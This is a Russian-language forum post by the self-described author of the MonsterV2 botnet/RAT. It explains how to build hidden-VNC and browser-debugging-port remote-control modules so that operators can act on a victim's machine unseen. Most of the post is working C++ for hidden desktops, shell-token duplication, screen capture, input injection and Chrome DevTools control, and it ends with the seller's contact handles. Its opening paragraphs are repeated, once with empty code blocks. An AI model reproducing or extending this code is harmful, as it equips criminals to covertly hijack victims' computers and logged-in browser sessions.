D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Приветствую! Я создатель ботнета и рата MonsterV2, во время разработки которого мне нужно было реализовать HVNC, а чуть позже и HCDP.
Вообще тема HVNC многим кажется сложной, но по факту трудности в реализации уже были решены в различных белых open source проектах, поэтому мне было необходимо лишь вынести взаимодействие с рабочим столом в виртуальный рабочий стол. Казалос бы, проблемы решены и HVNC был реализован, но тут возникла новая проблема: оказывается, HVNC на многих ботах очень тормозит на кликах и на рендеринге рабочего стола даже в низком качестве; клиенты сообщили мне, что другие продукты с HVNC обеспечивают более высокую скорость, но при этом позволяют управлять только браузерами. Разобравшись в вопросе, я выяснил, что то вовсе не HVNC, а HCDP, который работал не с окнами на рабочем столе Windows, а с браузером, запущенным с флагом
В этой статье я хочу на своём опыте и на опыте некоторых open source решений разобраться, в чём техническая разница между этими двумя вещами. Сразу предупреждаю: в статье не будет полноценного проекта, готовому к сборке; я лишь предоставляю примеры ВОЗМОЖНОЙ реализации, чтоб помочь разработчику в их имплементации, но скрипт киддисам, которые на клавиатуре имеют лишь три кнопки — Ctrl, C и V — и мышку, тут ловить нечего.
C++: Скопировать в буфер обмена
Далее мы можем спокойно вызвать SetThreadDesktop, передав в него только что созданный дескриптор рабочего стола:
C++: Скопировать в буфер обмена
Для тестов можно будет использовать функцию
C++: Скопировать в буфер обмена
Запустив
C++: Скопировать в буфер обмена
Вроде это все нюансы по рендерингу виртуального рабочего стола. Пример реализации сюда кидать не буду, уж его хотя бы потрудитесь найти сами: он есть в исходниках TinyNuke.
Далее нам нужно будет обрабатывать пользовательские события: нажатия клавиш, нажатия и движения мыши. Тут в принципе всё реализуемо посредством чтения документации: где применять клиентские координаты, какие параметры передавать в WPARAM и LPARAM и так далее. Нужное окно, в котором хотим кликнуть, вычисляем через функцию
C++: Скопировать в буфер обмена
Если нужно преобразовать координаты экрана в клиентские, то используем
C++: Скопировать в буфер обмена
LPARAM у нас всегда будет выступать координатами клика мыши в клиентской или экранной области (велком в MSDN за подробностями):
C++: Скопировать в буфер обмена
Для обработки колёсика мыши нужно отправить событие
C++: Скопировать в буфер обмена
Чтоб получить дельу из события колёсика мыши в браузере, можно применить следующую формулу:
C++: Скопировать в буфер обмена
А вот обработка нажатия мышью уже будет поинтереснее: мы сначала через сообщение
C++: Скопировать в буфер обмена
При обработке движений мышью, мы, помимо отправке сообщения
C++: Скопировать в буфер обмена
Если вы хотите отправить большой текст в окно, то вам на помощь придёт событие
C++: Скопировать в буфер обмена
Я вам советую преобразовывать приходящие с сервера строки в
C++: Скопировать в буфер обмена
Код выше даже поддерживает разные локали, но их переключать нужно будет вручную, сообщая каждому окну о её смене:
C++: Скопировать в буфер обмена
И на этом в принципе всё c HVNC. Также следует учесть, что виртуальный рабочий стол не будет функционировать как привычный нам рабочий стол. Во-первых, на его скриншотах вы будете видеть чёрные квадраты вокруг окон и справа внизу, поскольку тени обычно рендерятся процессом
После успешного websocket соединения, нам нужно будет включить уведомления о событиях страницы:
C++: Скопировать в буфер обмена
А, кстати, по поводу этих ID, которые мы передаём: нам нужно будет в отдельном потоке обрабатывать входящие уведомления от вебсокета и по этому ID мы сможем отличить, какое из уведомлений пришло именно на наш запрос. А мы переходим к запросу на скриншот:
C++: Скопировать в буфер обмена
Успешный JSON-ответ на скриншот будет выглядеть примерно так:
JSON: Скопировать в буфер обмена
Далее нас идёт обработка мыши и клавиатуры. Если у вас приложений написано на каком-нибудь Electron, то вам будет проще, поскольку большинство полей, которые передаются в аргументы нужных нам функций, уже будут проинициализированы. Заполнение этих структур на сервере и отправку по сети я оставляю вам в качестве домашнего задания, тем более для панелей все используют разные фреймворки.
C++: Скопировать в буфер обмена
Вообще тема HVNC многим кажется сложной, но по факту трудности в реализации уже были решены в различных белых open source проектах, поэтому мне было необходимо лишь вынести взаимодействие с рабочим столом в виртуальный рабочий стол. Казалос бы, проблемы решены и HVNC был реализован, но тут возникла новая проблема: оказывается, HVNC на многих ботах очень тормозит на кликах и на рендеринге рабочего стола даже в низком качестве; клиенты сообщили мне, что другие продукты с HVNC обеспечивают более высокую скорость, но при этом позволяют управлять только браузерами. Разобравшись в вопросе, я выяснил, что то вовсе не HVNC, а HCDP, который работал не с окнами на рабочем столе Windows, а с браузером, запущенным с флагом
--remote-debugging-port
, через WebSocket соединение.В этой статье я хочу на своём опыте и на опыте некоторых open source решений разобраться, в чём техническая разница между этими двумя вещами. Сразу предупреждаю: в статье не будет полноценного проекта, готовому к сборке; я лишь предоставляю примеры ВОЗМОЖНОЙ реализации, чтоб помочь разработчику в их имплементации, но скрипт киддисам, которые на клавиатуре имеют лишь три кнопки — Ctrl, C и V — и мышку, тут ловить нечего.
HVNC
Начнём, пожалуй, с HVNC. Virtual Network Computing (VNC) — это система удалённого доступа к компьютеру, и, как следует из названия, она подразумевает удалённый доступ к компьютеру целиком, а не только к отдельным приложениям. Реализации VNC уже давно в open source, но нам нужно сделать так, чтоб жертва не видели наших действий, благо
User32.dll
из Windows предоставляет нам специальное API для создания новых рабочих столов: CreateDesktop
, OpenDesktop
и SetThreadDesktop
C++: Скопировать в буфер обмена
Код:
gHdesk = OpenDesktopA("Hidden", 0, FALSE, GENERIC_ALL);
if (!gHdesk) // If we can't find the desktop, we create one
gHdesk = CreateDesktopA("Hidden", nullptr, nullptr, 0, GENERIC_ALL, nullptr);
Далее мы можем спокойно вызвать SetThreadDesktop, передав в него только что созданный дескриптор рабочего стола:
C++: Скопировать в буфер обмена
SetThreadDesktop(gHdesk);
Для тестов можно будет использовать функцию
SwitchDesktop
из той же User32.dll
, чтоб посмотреть, как выглядит наш рабочий стол. Сейчас, если мы это сделаем, то увидим чёрный экран, поскольку на рабочем столе нет shell окна explorer.exe
. Мы можем его почти без проблем запустить: нужно лишь при создании процесса в структуру STARTUPINFO
в поле lpDesktop
передать указатель на строку с названием нашего рабочего стола, заканчивающуюся нуль-терминатором. Я сказал почти без проблем, потому что если ваш процесс запущен от админа (elevated), то shell-окно создаваться не будет, а будет запускаться проводник файлов. Чтоб это исправить, нам нужно будет запустить explorer.exe с продублированным токеном текущего shell окна. Пример имплементации лежит в паблике, ищется по ключевому слову RunAsDesktopUser
. Для ленивых я приложу исходный код оттуда, но учтите, что вы должны будете получить дескриптор текущего shell окна до вызова функции SetThreadDesktop
, иначе GetShellWindow
вернёт nullptr
, поскольку будет пытаться получить окно, которое в этом рабочем столе не создано.C++: Скопировать в буфер обмена
Код:
// Definition of the function this sample is all about.
// The szApp, szCmdLine, szCurrDir, si, and pi parameters are passed directly to CreateProcessWithTokenW.
// sErrorInfo returns text describing any error that occurs.
// Returns "true" on success, "false" on any error.
// It is up to the caller to close the HANDLEs returned in the PROCESS_INFORMATION structure.
bool RunAsDesktopUser(
__in const wchar_t * szApp,
__in wchar_t * szCmdLine,
__in const wchar_t * szCurrDir,
__in STARTUPINFOW & si,
__inout PROCESS_INFORMATION & pi,
__inout wstringstream & sErrorInfo)
{
HANDLE hShellProcess = NULL, hShellProcessToken = NULL, hPrimaryToken = NULL;
HWND hwnd = NULL;
DWORD dwPID = 0;
BOOL ret;
DWORD dwLastErr;
// Enable SeIncreaseQuotaPrivilege in this process. (This won't work if current process is not elevated.)
HANDLE hProcessToken = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hProcessToken))
{
dwLastErr = GetLastError();
sErrorInfo << L"OpenProcessToken failed: " << SysErrorMessageWithCode(dwLastErr);
return false;
}
else
{
TOKEN_PRIVILEGES tkp;
tkp.PrivilegeCount = 1;
LookupPrivilegeValueW(NULL, SE_INCREASE_QUOTA_NAME, &tkp.Privileges[0].Luid);
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hProcessToken, FALSE, &tkp, 0, NULL, NULL);
dwLastErr = GetLastError();
CloseHandle(hProcessToken);
if (ERROR_SUCCESS != dwLastErr)
{
sErrorInfo << L"AdjustTokenPrivileges failed: " << SysErrorMessageWithCode(dwLastErr);
return false;
}
}
retry:
// Get an HWND representing the desktop shell.
// CAVEATS: This will fail if the shell is not running (crashed or terminated), or the default shell has been
// replaced with a custom shell. This also won't return what you probably want if Explorer has been terminated and
// restarted elevated.
hwnd = GetShellWindow();
if (NULL == hwnd)
{
sErrorInfo << L"No desktop shell is present";
return false;
}
// Get the PID of the desktop shell process.
GetWindowThreadProcessId(hwnd, &dwPID);
if (0 == dwPID)
{
sErrorInfo << L"Unable to get PID of desktop shell.";
return false;
}
// Open the desktop shell process in order to query it (get the token)
hShellProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPID);
if (!hShellProcess)
{
dwLastErr = GetLastError();
sErrorInfo << L"Can't open desktop shell process: " << SysErrorMessageWithCode(dwLastErr);
return false;
}
// Make sure window and process id are still the same (ie we've opened the right process)
if(hwnd != GetShellWindow()) {
CloseHandle(hShellProcess);
goto retry;
}
GetWindowThreadProcessId(hwnd, &dwPID);
if(dwPID != GetProcessId(hShellProcess)) {
CloseHandle(hShellProcess);
goto retry;
}
// From this point down, we have handles to close, so make sure to clean up.
bool retval = false;
// Get the process token of the desktop shell.
ret = OpenProcessToken(hShellProcess, TOKEN_DUPLICATE, &hShellProcessToken);
if (!ret)
{
dwLastErr = GetLastError();
sErrorInfo << L"Can't get process token of desktop shell: " << SysErrorMessageWithCode(dwLastErr);
goto cleanup;
}
// Duplicate the shell's process token to get a primary token.
// Based on experimentation, this is the minimal set of rights required for CreateProcessWithTokenW (contrary to current documentation).
const DWORD dwTokenRights = TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID;
ret = DuplicateTokenEx(hShellProcessToken, dwTokenRights, NULL, SecurityImpersonation, TokenPrimary, &hPrimaryToken);
if (!ret)
{
dwLastErr = GetLastError();
sErrorInfo << L"Can't get primary token: " << SysErrorMessageWithCode(dwLastErr);
goto cleanup;
}
// Start the target process with the new token.
ret = CreateProcessWithTokenW(
hPrimaryToken,
0,
szApp,
szCmdLine,
0,
NULL,
szCurrDir,
&si,
&pi);
if (!ret)
{
dwLastErr = GetLastError();
sErrorInfo << L"CreateProcessWithTokenW failed: " << SysErrorMessageWithCode(dwLastErr);
goto cleanup;
}
retval = true;
cleanup:
// Clean up resources
CloseHandle(hShellProcessToken);
CloseHandle(hPrimaryToken);
CloseHandle(hShellProcess);
return retval;
}
Запустив
explorer.exe
, мы увидим привычный нам рабочий стол. Теперь нам нужно сделать его скриншот. Сделать это тоже не так просто, ибо если наш монитор не прикреплён к этому рабочему столу, то мы не сможем получить его координаты. Поэтому нам придётся пройтись по каждому окну в рабочем столе и отрисовать его через PrintWindow
. Сразу хочу сказать, что PrintWindow
это очень кривая и плохо задокументированная функция: во-первых, её документация врёт и утверждает, что она отправляет в окно сообщение WM_PRINT
/WM_PRINTCLIENT
, но по факту она отправляет сообщение WM_PAINT
; во-вторых, начиная с Windows 8, у этой функции появился новый флаг PW_RENDERFULLCONTENT
, который вообще не упоминается в документации и который позволяет нормально рендерить, например, браузер с включенным WebGL без чёрного окна. Вот определение этого флага, если вдруг в вашем Windows SDK его нет:C++: Скопировать в буфер обмена
Код:
#if(_WIN32_WINNT >= 0x0603)
#define PW_RENDERFULLCONTENT 0x00000002
#endif /* _WIN32_WINNT >= 0x0603 */
Вроде это все нюансы по рендерингу виртуального рабочего стола. Пример реализации сюда кидать не буду, уж его хотя бы потрудитесь найти сами: он есть в исходниках TinyNuke.
Далее нам нужно будет обрабатывать пользовательские события: нажатия клавиш, нажатия и движения мыши. Тут в принципе всё реализуемо посредством чтения документации: где применять клиентские координаты, какие параметры передавать в WPARAM и LPARAM и так далее. Нужное окно, в котором хотим кликнуть, вычисляем через функцию
WindowFromPoint
:C++: Скопировать в буфер обмена
Код:
POINT coordinates{x, y};
HWND hwnd = WindowFromPoint(coordinates);
Если нужно преобразовать координаты экрана в клиентские, то используем
ScreenToClient
:C++: Скопировать в буфер обмена
Код:
POINT clickCoords{x, y};
ScreenToClient(hwnd, &clickCoords);
LPARAM у нас всегда будет выступать координатами клика мыши в клиентской или экранной области (велком в MSDN за подробностями):
C++: Скопировать в буфер обмена
LPARAM lParam = MAKELPARAM(clickCoords.x, clickCoords.y);
Для обработки колёсика мыши нужно отправить событие
WM_MOUSEWHEEL
, передав в WPARAM значение delta, которое указывает направление и количество оборотов колёсика:C++: Скопировать в буфер обмена
Код:
bool hvnc::mouseWheel(float delta, int32_t x, int32_t y) {
POINT coordinates{x, y};
HWND hwnd = WindowFromPoint(coordinates);
if (!hwnd)
return false;
LPARAM lParam = MAKELPARAM(x, y);
WPARAM wParam = MAKEWPARAM(0, delta);
return PostMessageW(hwnd, WM_MOUSEWHEEL, wParam, lParam);
}
Чтоб получить дельу из события колёсика мыши в браузере, можно применить следующую формулу:
C++: Скопировать в буфер обмена
Код:
const e: WhellEvent = ...;
const deltaValue = e.deltaY * -1.2;
А вот обработка нажатия мышью уже будет поинтереснее: мы сначала через сообщение
WM_NCHITTEST
узнаём область, куда мы кликнули, проверяем, можем ли мы сами её обработать и, если можем, обрабатываем, а если не можем, то отправляем событие окну аналогично с колёсиком мыши:C++: Скопировать в буфер обмена
Код:
bool hvnc::mouseClick(int32_t x, int32_t y, bool left, bool up) {
POINT coordinates{x, y};
HWND hwnd = WindowFromPoint(coordinates);
if (!hwnd)
return false;
gState.workingWindow = hwnd; // Save active window for input events
RECT wRect{};
if (!GetWindowRect(hwnd, &wRect))
return false;
int32_t wX = wRect.left;
int32_t wY = wRect.top;
int32_t wWidth = wRect.right - wRect.left;
int32_t wHeight = wRect.bottom - wRect.top;
POINT clickCoords{x, y};
ScreenToClient(hwnd, &clickCoords);
LPARAM lParam = MAKELPARAM(x, y);
LRESULT clickResult = SendMessageW(hwnd, WM_NCHITTEST, 0, lParam);
switch (clickResult) {
case HTCLOSE: {
if (up && left) {
PostMessageW(hwnd, WM_CLOSE, 0, 0);
return PostMessageW(hwnd, WM_DESTROY, 0, 0);
}
break;
}
case HTTRANSPARENT: {
if (up && left) {
LONG style = GetWindowLongA(hwnd, GWL_STYLE);
SetWindowLongA(hwnd, GWL_STYLE, style | WS_DISABLED);
return true;
}
break;
}
case HTTOP:
case HTBOTTOM:
case HTLEFT:
case HTRIGHT:
case HTTOPLEFT:
case HTTOPRIGHT:
case HTBOTTOMLEFT:
case HTBOTTOMRIGHT:
case HTGROWBOX:
case HTCAPTION: {
// We can handle initialize moving the window
// by saving window width and height
if (!up && left) {
gState.lastCoords = clickCoords;
gState.lastDimensions = {wWidth, wHeight};
gState.lastPosition = {wX, wY};
gState.isMoving = true;
gState.windowToMove = hwnd;
gState.moveResult = clickResult;
return true;
}
break;
}
case HTHELP: {
if (up && left)
return PostMessageW(
hwnd, WM_SYSCOMMAND, SC_CONTEXTHELP, lParam
);
break;
}
case HTMINBUTTON: {
if (up && left)
return PostMessageW(hwnd, WM_SYSCOMMAND, SC_MINIMIZE, lParam);
break;
}
case HTMAXBUTTON: {
// Toggle window maximize state
if (up && left) {
WINDOWPLACEMENT wp = {sizeof(WINDOWPLACEMENT)};
if (GetWindowPlacement(hwnd, &wp)) {
if (wp.showCmd == SW_SHOWMAXIMIZED)
wp.showCmd = SW_RESTORE;
else
wp.showCmd = SW_SHOWMAXIMIZED;
return SetWindowPlacement(hwnd, &wp);
}
}
break;
}
}
LPARAM lParam2 = MAKELPARAM(clickCoords.x, clickCoords.y);
UINT msg;
WPARAM param;
if (left) {
param = MK_LBUTTON;
msg = up ? WM_LBUTTONUP : WM_LBUTTONDOWN;
} else {
param = MK_RBUTTON;
msg = up ? WM_RBUTTONUP : WM_RBUTTONDOWN;
}
return PostMessageW(hwnd, msg, param, lParam2);
}
При обработке движений мышью, мы, помимо отправке сообщения
WM_MOUSEMOVE
должны будем также обработать перемещение и ресайзинг окон, в этом нам поможет SetWindowPos
:C++: Скопировать в буфер обмена
Код:
bool hvnc::moveWindow(int32_t x, int32_t y) {
if (!gState.windowToMove || gState.windowToMove == INVALID_HANDLE_VALUE)
return false;
int32_t wX = gState.lastPosition.x;
int32_t wY = gState.lastPosition.y;
int32_t width = gState.lastDimensions.x;
int32_t height = gState.lastDimensions.y;
POINT clickCoords{x, y};
ScreenToClient(gState.windowToMove, &clickCoords);
int32_t moveX = gState.lastCoords.x - clickCoords.x;
int32_t moveY = gState.lastCoords.y - clickCoords.y;
UINT flags = 0;
switch (gState.moveResult) {
case HTCAPTION: {
wX -= moveX;
wY -= moveY;
flags |= SWP_NOSIZE;
break;
}
case HTTOP: {
wY -= moveY;
height += moveY;
break;
}
case HTBOTTOM: {
height -= moveY;
flags |= SWP_NOMOVE;
break;
}
case HTLEFT: {
wX -= moveX;
width += moveX;
break;
}
case HTRIGHT: {
width -= moveX;
flags |= SWP_NOMOVE;
break;
}
case HTTOPLEFT: {
wY -= moveY;
height += moveY;
wX -= moveX;
width += moveX;
break;
}
case HTTOPRIGHT: {
wY -= moveY;
height += moveY;
width -= moveX;
break;
}
case HTBOTTOMLEFT: {
height -= moveY;
wX -= moveX;
width += moveX;
break;
}
case HTGROWBOX:
case HTBOTTOMRIGHT: {
height -= moveY;
width -= moveX;
flags |= SWP_NOMOVE;
break;
}
default:
return false;
}
gState.isMoving = false;
return SetWindowPos(
gState.windowToMove, HWND_TOP, wX, wY, width, height, flags
);
}
bool hvnc::mouseMove(int32_t x, int32_t y) {
if (gState.isMoving) {
return moveWindow(x, y);
}
POINT coordinates{x, y};
HWND hwnd = WindowFromPoint(coordinates);
if (!hwnd)
return false;
POINT clickCoords{x, y};
ScreenToClient(hwnd, &clickCoords);
LPARAM lParam = MAKELPARAM(clickCoords.x, clickCoords.y);
return PostMessageW(hwnd, WM_MOUSEMOVE, 0, lParam);
}
Если вы хотите отправить большой текст в окно, то вам на помощь придёт событие
WM_CHAR
:C++: Скопировать в буфер обмена
Код:
WPARAM code = L'a';
PostMessageW(hwnd, WM_CHAR, code, 0);
Я вам советую преобразовывать приходящие с сервера строки в
std::wstring
и циклом отправлять по одному символу в окно. А вот обработка клавиш с клавиатуры это довольно больно, поскольку нужно ещё обрабатывать специальные клавиши: Ctrl, Shift, Alt и WinC++: Скопировать в буфер обмена
Код:
bool hvnc::clearKeyboardState(BYTE previous[256]) {
previous[VK_SHIFT] = 0;
previous[VK_LSHIFT] = 0;
previous[VK_RSHIFT] = 0;
previous[VK_MENU] = 0;
previous[VK_LMENU] = 0;
previous[VK_RMENU] = 0;
previous[VK_LWIN] = 0;
previous[VK_RWIN] = 0;
previous[VK_CONTROL] = 0;
previous[VK_LCONTROL] = 0;
previous[VK_RCONTROL] = 0;
return SetKeyboardState(previous);
}
bool hvnc::sendKey(
UINT key, bool up, const std::vector<UINT>& specialKeys, HWND hwnd
) {
if (!hwnd)
hwnd = gState.workingWindow;
if (hwnd == INVALID_HANDLE_VALUE || hwnd == nullptr)
return false;
LPARAM lParam = 0;
if (up)
lParam = static_cast<LPARAM>(
(MapVirtualKeyW(key, MAPVK_VK_TO_VSC) << 16 | 0xC0000000)
);
UINT msg = up ? WM_KEYUP : WM_KEYDOWN;
BYTE keyBuffer[256]{};
bool needSpecials = GetKeyboardState(keyBuffer) && !specialKeys.empty();
DWORD pid = 0;
GetWindowThreadProcessId(hwnd, &pid);
std::vector<DWORD> tids = ph::getAllProcessThreads(pid);
// We need to attach thread input for sharing keyboard state
for (DWORD tid : tids) {
AttachThreadInput(GetCurrentThreadId(), tid, TRUE);
}
if (needSpecials) {
for (UINT modKey : specialKeys) {
if (modKey == VK_MENU) {
// Alt key requires WM_SYSKEYUP/WM_SYSKEYDOWN events instead of WM_KEYUP/WM_KEYDOWN
lParam |= 0x20000000;
msg = up ? WM_SYSKEYUP : WM_SYSKEYDOWN;
}
keyBuffer[modKey] |= 128; // Enable this key
}
SetKeyboardState(keyBuffer);
} else {
/*
If no special keys are provided,
we must clear the previous keyboard state
due to asynchronous messages
*/
clearKeyboardState(keyBuffer);
}
bool ret = PostMessageW(hwnd, msg, key, lParam);
// No need to share keyboard state anymore. Detaching
for (DWORD tid : tids) {
AttachThreadInput(GetCurrentThreadId(), tid, FALSE);
}
return ret;
}
Код выше даже поддерживает разные локали, но их переключать нужно будет вручную, сообщая каждому окну о её смене:
C++: Скопировать в буфер обмена
Код:
BOOL CALLBACK hvnc::toogleKeyboardCallback(HWND hwnd, LPARAM lParam) {
PostMessageW(hwnd, WM_INPUTLANGCHANGEREQUEST, 0, lParam);
return TRUE;
}
bool hvnc::toogleKeyboardLayout() {
static HKL current = nullptr;
int nBuff = GetKeyboardLayoutList(0, nullptr);
if (nBuff <= 1)
return false;
std::vector<HKL> layouts(nBuff);
const size_t lastIndex = layouts.size() - 1;
GetKeyboardLayoutList(nBuff, layouts.data());
for (auto layout : pythonic::enumerate(layouts)) {
if (!current) {
current = layout.second;
return EnumWindows(
&hvnc::toogleKeyboardCallback, reinterpret_cast<LPARAM>(current)
);
}
if (layout.second == current) {
const size_t layoutIndex =
layout.first < lastIndex ? layout.first + 1 : 0;
current = layouts[layoutIndex];
return EnumWindows(
&hvnc::toogleKeyboardCallback, reinterpret_cast<LPARAM>(current)
);
}
}
return false;
}
И на этом в принципе всё c HVNC. Также следует учесть, что виртуальный рабочий стол не будет функционировать как привычный нам рабочий стол. Во-первых, на его скриншотах вы будете видеть чёрные квадраты вокруг окон и справа внизу, поскольку тени обычно рендерятся процессом
dwm.exe
, который не подключён к виртальному рабочему столу. Во-вторых, многие горячие клавиши также не будут работать, поскольку другие процессы, отвечающие за их обработку, также не подключены к виртуальному рабочему столу, поэтому вам придётся обрабатывать их нажатия вручную.HCDP
Этот модуль многие ошибочно называют HVNC, но по факту он не является HVNC, поскольку предоставляет доступ только к браузеру. Работает он следующим образом: запускается браузер с флагом
--remote-debugging-port
, после чего мы по HTTP запрашиваем список страниц в браузере. GET http://localhost:{DEBUG_PORT}/json
, где {DEBUG_PORT} это порт, который мы указали при запуске браузера. Этот запрос нам вернёт много чего интересного, но нас интересуют только страницы (у этих JSON объектов поле type == "page"); берём любую из страниц и подкючаемся к вебсокету, используя как URL поле webSocketDebuggerUrl
JSON объекта страницы. GET запрос и парсинг JSON объекта скидывать не буду — и так справитесь.После успешного websocket соединения, нам нужно будет включить уведомления о событиях страницы:
C++: Скопировать в буфер обмена
Код:
json pageActivate;
pageActivate["id"] = 2;
pageActivate["method"] = "Page.enable";
pageActivate["params"] = {};
ws_->write(asio::buffer(pageActivate.dump()), _ec);
А, кстати, по поводу этих ID, которые мы передаём: нам нужно будет в отдельном потоке обрабатывать входящие уведомления от вебсокета и по этому ID мы сможем отличить, какое из уведомлений пришло именно на наш запрос. А мы переходим к запросу на скриншот:
C++: Скопировать в буфер обмена
Код:
json screenshot;
screenshot["method"] = "Page.captureScreenshot";
screenshot["id"] = SCREENSHOT_ID;
int32_t quality = 100; // 1..100
json args{ {"format", "jpeg"}, {"quality", quality} };
screenshot["params"] = args;
ws_->write(asio::buffer(screenshot.dump()), ec_);
Успешный JSON-ответ на скриншот будет выглядеть примерно так:
JSON: Скопировать в буфер обмена
Код:
{
"id": SCREENSHOT_ID,
"result": {
"data": "Base64-encoded screenshot in JPG format"
}
}
Далее нас идёт обработка мыши и клавиатуры. Если у вас приложений написано на каком-нибудь Electron, то вам будет проще, поскольку большинство полей, которые передаются в аргументы нужных нам функций, уже будут проинициализированы. Заполнение этих структур на сервере и отправку по сети я оставляю вам в качестве домашнего задания, тем более для панелей все используют разные фреймворки.
C++: Скопировать в буфер обмена
Код:
void dispatchMouseEvent(const HcdpMouseEvent& e) {
json r;
r["id"] = 5;
r["method"] = "Input.dispatchMouseEvent";
r["params"]["x"] = e.x;
r["params"]["y"] = e.y;
r["params"]["modifiers"] = e.modifiers;
r["params"]["button"] = e.button;
r["params"]["deltaX"] = e.deltaX;
r["params"]["deltaY"] = e.deltaY;
r["params"]["type"] = e.type;
if (e.type == "mousePressed" || e.type == "mouseReleased") {
r["params"]["clickCount"] = e.dbclick ? 2 : 1;
}
ws_->write(asio::buffer(r.dump()), ec_);
}
void dispatchKeyEvent(const HcdpKeyEvent& e) {
json r;
r["id"] = 6;
r["method"] = "Input.dispatchKeyEvent";
r["params"]["modifiers"] = e.modifiers;
r["params"]["type"] = e.type;
r["params"]["code"] = e.code;
r["params"]["key"] = e.key;
bool hasText = false;
if (e.key.size() == 1) {
r["params"]["text"] = e.key;
hasText = true;
}
if (e.code == "Enter") {
r["params"]["text"] = "\r";
r["params"]["unmodifiedText"] = "\r";
hasText = true;
}
if (e.code == "Tab") {
r["params"]["text"] = "\t";
r["params"]["unmodifiedText"] = "\t";
hasText = true;
}
if (e.code == "Space") {
r["params"]["text"] = " ";
r["params"]["unmodifiedText"] = " ";
hasText = true;
}
r["params"]["location"] = e.location;
r["params"]["isKeypad"] = e.isKeypad;
r["params"]["autoRepeat"] = false;
r["params"]["windowsVirtualKeyCode"] = e.windowsVirtualKeyCode;
if (!hasText && e.type == "keyDown") {
r["params"]["type"] = "rawKeyDown";
}
ws_->write(asio::buffer(r.dump()), ec_);
}
Заключение
Спасибо всем, кто дочитал данную статью! Надеюсь, она чем-то сможет вам помочь, и вы теперь сможете отличить HVNC от HCDP. Если вдруг я что-то упустил, то у вас всегда есть подробная документация и куча примеров в интернете, которые помогут вам с вашей проблемой.
Контакты / Contacts
- Tox: 78FCE948A377D5BA27AEE0E47EC27BEB537AF607C4F2DE8BF8B5C6018E27690FB691E72B1238
- Jabber: monsterv2@exploit.im
- Session: 0521bb4bb6a0cac3007e4da53e5cb1f5f0baefa2eeb439466bd6eb2a6e45b1c661
- Telegram: https://t.me/mosterv2
- Telegram channel: https://t.me/monster_update_news
Форумы: